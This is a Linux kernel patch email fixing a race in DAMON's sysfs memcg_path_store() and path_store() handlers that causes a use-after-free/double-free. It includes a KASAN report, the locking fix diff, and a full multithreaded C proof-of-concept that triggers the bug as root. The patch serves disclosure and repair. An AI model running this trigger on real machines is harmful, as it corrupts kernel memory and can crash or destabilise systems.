memcg_path_store() and path_store() free and replace their respective
string pointers without holding damon_sysfs_lock. This creates a race
with the kdamond thread, which reads these pointers in
damon_sysfs_add_scheme_filters() and damos_sysfs_add_quota_score()
via damon_call() during a "commit" operation.

The race window is as follows:
  Thread A (commit):  holds damon_sysfs_lock, triggers damon_call()
  kdamond thread:     reads sysfs_filter->memcg_path in
                      damon_sysfs_memcg_path_to_id()
  Thread B (sysfs):   calls memcg_path_store() WITHOUT lock,
                      kfree(filter->memcg_path), replaces pointer

Since Thread B does not hold damon_sysfs_lock, the kdamond thread can
observe a freed pointer, resulting in a use-after-free when
damon_sysfs_memcg_path_eq() dereferences it for string comparison.

KASAN reports the following on v7.0.0-rc5 with CONFIG_KASAN=y:

  ==================================================================
  BUG: KASAN: double-free in memcg_path_store+0x6e/0xc0

  Free of addr ffff888100a086c0 by task exp/149

  CPU: 1 UID: 0 PID: 149 Comm: exp Not tainted 7.0.0-rc5-gd38efd7c139a #18 PREEMPT(lazy)
  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
  Call Trace:
   <TASK>
   dump_stack_lvl+0x55/0x70
   print_report+0xcb/0x5d0
   kasan_report_invalid_free+0x94/0xc0
   check_slab_allocation+0xde/0x110
   kfree+0x114/0x3b0
   memcg_path_store+0x6e/0xc0
   kernfs_fop_write_iter+0x2fc/0x490
   vfs_write+0x8e1/0xcc0
   ksys_write+0xee/0x1c0
   do_syscall_64+0xfc/0x580
   entry_SYSCALL_64_after_hwframe+0x77/0x7f
   </TASK>

  Allocated by task 147 on cpu 0 at 12.364295s:
   kasan_save_stack+0x24/0x50
   kasan_save_track+0x17/0x60
   __kasan_kmalloc+0x7f/0x90
   __kmalloc_noprof+0x191/0x490
   memcg_path_store+0x32/0xc0
   kernfs_fop_write_iter+0x2fc/0x490
   vfs_write+0x8e1/0xcc0
   ksys_write+0xee/0x1c0

  Freed by task 150 on cpu 0 at 13.373810s:
   kasan_save_stack+0x24/0x50
   kasan_save_track+0x17/0x60
   kasan_save_free_info+0x3b/0x60
   __kasan_slab_free+0x43/0x70
   kfree+0x137/0x3b0
   memcg_path_store+0x6e/0xc0
   kernfs_fop_write_iter+0x2fc/0x490
   vfs_write+0x8e1/0xcc0
   ksys_write+0xee/0x1c0

  The buggy address belongs to the object at ffff888100a086c0
   which belongs to the cache kmalloc-8 of size 8
  ==================================================================

Fix this by holding damon_sysfs_lock while swapping the path pointer
in both memcg_path_store() and path_store(). The actual kfree() is
moved outside the lock since the old pointer is no longer reachable
once replaced.

Fixes: 490a43d07f16 ("mm/damon/sysfs-schemes: free old damon_sysfs_scheme_filter->memcg_path on write")
Signed-off-by: Junxi Qian <qjx1298677004@gmail.com>
---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sys/stat.h>

#define DAMON_BASE "/sys/kernel/mm/damon/admin"

static volatile int stop;
static char memcg_path_file[1024], state_file[1024];
static char real_memcg_path[512] = "/";
static int num_extra_cgroups = 200;
static char cgroup_base[256];

static int write_str(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) return -errno;
    ssize_t r = write(fd, val, strlen(val));
    int e = errno; close(fd);
    return r > 0 ? 0 : -e;
}

static int create_extra_cgroups(void) {
    struct stat st; char path[512]; int created = 0;
    if (stat("/sys/fs/cgroup/cgroup.controllers", &st) == 0)
        strncpy(cgroup_base, "/sys/fs/cgroup", sizeof(cgroup_base));
    else if (stat("/sys/fs/cgroup/memory", &st) == 0)
        strncpy(cgroup_base, "/sys/fs/cgroup/memory", sizeof(cgroup_base));
    else return 0;
    for (int i = 0; i < num_extra_cgroups; i++) {
        snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i);
        if (mkdir(path, 0755) == 0) created++;
    }
    if (created > 0)
        snprintf(real_memcg_path, sizeof(real_memcg_path),
                 "%s/damon_poc_0", cgroup_base);
    return created;
}

static void cleanup_extra_cgroups(void) {
    char path[512];
    if (!cgroup_base[0]) return;
    for (int i = 0; i < num_extra_cgroups; i++) {
        snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i);
        rmdir(path);
    }
}

static void *path_writer(void *arg) {
    long tid = (long)arg; int i = 0; char buf[512];
    while (!stop) {
        switch (i % 4) {
        case 0: snprintf(buf,sizeof(buf),"%s",real_memcg_path); break;
        case 1: snprintf(buf,sizeof(buf),
                    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_%d_%ld",i,tid); break;
        case 2: snprintf(buf,sizeof(buf),"YYYYYYYYYYYYYY_%d",i); break;
        case 3: snprintf(buf,sizeof(buf),"Z_%d",i); break;
        }
        write_str(memcg_path_file, buf); i++;
    }
    return NULL;
}

static void *committer(void *arg) {
    while (!stop) {
        if (write_str(state_file, "commit") == 0) usleep(10);
    }
    return NULL;
}

static int setup_damon(void) {
    char path[1024]; int err;
    snprintf(path,sizeof(path),"%s/kdamonds/nr_kdamonds",DAMON_BASE);
    write_str(path,"1");
    snprintf(path,sizeof(path),
             "%s/kdamonds/0/contexts/nr_contexts",DAMON_BASE);
    write_str(path,"1");
    snprintf(path,sizeof(path),
             "%s/kdamonds/0/contexts/0/operations",DAMON_BASE);
    if (write_str(path,"paddr")) {
        write_str(path,"vaddr");
        snprintf(path,sizeof(path),
            "%s/kdamonds/0/contexts/0/targets/nr_targets",DAMON_BASE);
        write_str(path,"1");
        char pid[32]; snprintf(pid,sizeof(pid),"%d",getpid());
        snprintf(path,sizeof(path),
            "%s/kdamonds/0/contexts/0/targets/0/pid_target",DAMON_BASE);
        write_str(path,pid);
    }
    snprintf(path,sizeof(path),
        "%s/kdamonds/0/contexts/0/schemes/nr_schemes",DAMON_BASE);
    write_str(path,"1");
    snprintf(path,sizeof(path),
        "%s/kdamonds/0/contexts/0/schemes/0/action",DAMON_BASE);
    write_str(path,"stat");
    snprintf(state_file,sizeof(state_file),
             "%s/kdamonds/0/state",DAMON_BASE);
    if ((err = write_str(state_file,"on"))) return err;
    snprintf(path,sizeof(path),
        "%s/kdamonds/0/contexts/0/schemes/0/filters/nr_filters",DAMON_BASE);
    write_str(path,"1");
    snprintf(path,sizeof(path),
        "%s/kdamonds/0/contexts/0/schemes/0/filters/0/type",DAMON_BASE);
    write_str(path,"memcg");
    snprintf(memcg_path_file,sizeof(memcg_path_file),
        "%s/kdamonds/0/contexts/0/schemes/0/filters/0/memcg_path",
        DAMON_BASE);
    write_str(memcg_path_file, real_memcg_path);
    return 0;
}

int main(int argc, char *argv[]) {
    int duration = 60, n_writers = 4;
    if (argc > 1) duration = atoi(argv[1]);
    if (argc > 2) num_extra_cgroups = atoi(argv[2]);
    if (getuid()) { fprintf(stderr,"Need root\n"); return 1; }
    create_extra_cgroups();
    if (setup_damon()) { cleanup_extra_cgroups(); return 1; }
    sleep(1);
    pthread_t w[8], c;
    for (int i = 0; i < n_writers; i++)
        pthread_create(&w[i],NULL,path_writer,(void*)(long)i);
    pthread_create(&c,NULL,committer,NULL);
    sleep(duration);
    stop = 1;
    for (int i = 0; i < n_writers; i++) pthread_join(w[i],NULL);
    pthread_join(c,NULL);
    write_str(state_file,"off");
    cleanup_extra_cgroups();
    printf("Check: dmesg | grep -A20 'BUG: KASAN'\n");
}

---

 mm/damon/sysfs-schemes.c | 22 ++++++++++++++++------
 1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/mm/damon/sysfs-schemes.c b/mm/damon/sysfs-schemes.c
index 5186966da..005cfecb1 100644
--- a/mm/damon/sysfs-schemes.c
+++ b/mm/damon/sysfs-schemes.c
@@ -543,15 +543,20 @@ static ssize_t memcg_path_store(struct kobject *kobj,
 {
 	struct damon_sysfs_scheme_filter *filter = container_of(kobj,
 			struct damon_sysfs_scheme_filter, kobj);
-	char *path = kmalloc_array(size_add(count, 1), sizeof(*path),
-				   GFP_KERNEL);
+	char *path, *old;
 
+	path = kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL);
 	if (!path)
 		return -ENOMEM;
 
 	strscpy(path, buf, count + 1);
-	kfree(filter->memcg_path);
+
+	mutex_lock(&damon_sysfs_lock);
+	old = filter->memcg_path;
 	filter->memcg_path = path;
+	mutex_unlock(&damon_sysfs_lock);
+
+	kfree(old);
 	return count;
 }
 
@@ -1196,15 +1201,20 @@ static ssize_t path_store(struct kobject *kobj,
 {
 	struct damos_sysfs_quota_goal *goal = container_of(kobj,
 			struct damos_sysfs_quota_goal, kobj);
-	char *path = kmalloc_array(size_add(count, 1), sizeof(*path),
-				   GFP_KERNEL);
+	char *path, *old;
 
+	path = kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL);
 	if (!path)
 		return -ENOMEM;
 
 	strscpy(path, buf, count + 1);
-	kfree(goal->path);
+
+	mutex_lock(&damon_sysfs_lock);
+	old = goal->path;
 	goal->path = path;
+	mutex_unlock(&damon_sysfs_lock);
+
+	kfree(old);
 	return count;
 }
 
-- 
2.34.1